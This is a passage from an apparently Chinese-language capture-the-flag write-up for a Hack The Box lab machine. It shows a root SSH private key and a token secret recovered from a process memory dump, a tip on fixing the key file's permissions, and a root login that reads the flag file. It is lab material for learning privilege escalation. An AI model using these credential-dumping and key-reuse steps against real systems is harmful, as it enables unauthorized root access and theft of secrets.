85oc1mHLONd1AyalDFrPqPTsHqtL4sENUCZlcM76hYxTUsc1xFaI5qAnj8Pu8Da8YrZD65
.....................................................................
BkBy2Yw/b7MhIucKqFTmGpU1xF2cDq7Lad2Pd1SseJBhgaqLwSjLZUWonPmE79L01t34rP
Xe2jKi6brhTBB8U0D8qK9/v2hB4iywAAAAMBAAEAAAGAGkWVDcBX1B8C7eOURXIM6DEUx3
...................................................................
xhDYPO15YxLBhWJ0J3G9v6SN/YH3UYj47i4s0zk6JZMnVGTfCwXOxLgL/w5WJMelDW+l3k
fO8ebYddyVz4w9AAAADnJvb3RAbG9jYWxob3N0AQIDBA==
-----END OPENSSH PRIVATE KEY-----
/lib/x86_64-linux-gnu/libc.so.6
DB_CONNECT=mongodb://127.0.0.1:27017/auth-web
instance_var=NODE_APP_INSTANCE
unique_id=2da69d97-a4c6-4bf9-b130-b5e3580b2449
LESSCLOSE=/usr/bin/lesspipe %s %s
LESSOPEN=| /usr/bin/lesspipe %s
TOKEN_SECRET=gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
PM2_INTERACTOR_PROCESSING=true
pm_pid_path=/home/dasith/.pm2/pids/index-0.pid
pm_err_log_path=/home/dasith/.pm2/logs/index-error.log
pm_exec_path=/home/dasith/local-web/index.js
pm_out_log_path=/home/dasith/.pm2/logs/index-out.log
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
dasith@secret:/tmp/hack$
可能会提示SSH密钥权限太开放不安全,从而需要进行密码认证,把ssh权限改低就好了:
> ssh -i id_rsa root@10.10.11.120
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0755 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
root@10.10.11.120's password:
>> chmod 400 ./id_rsa
>> ssh -i id_rsa root@10.10.11.120
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64)
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Oct 26 15:13:55 2021
root@secret:~# cat /root/root.txt
06.....................................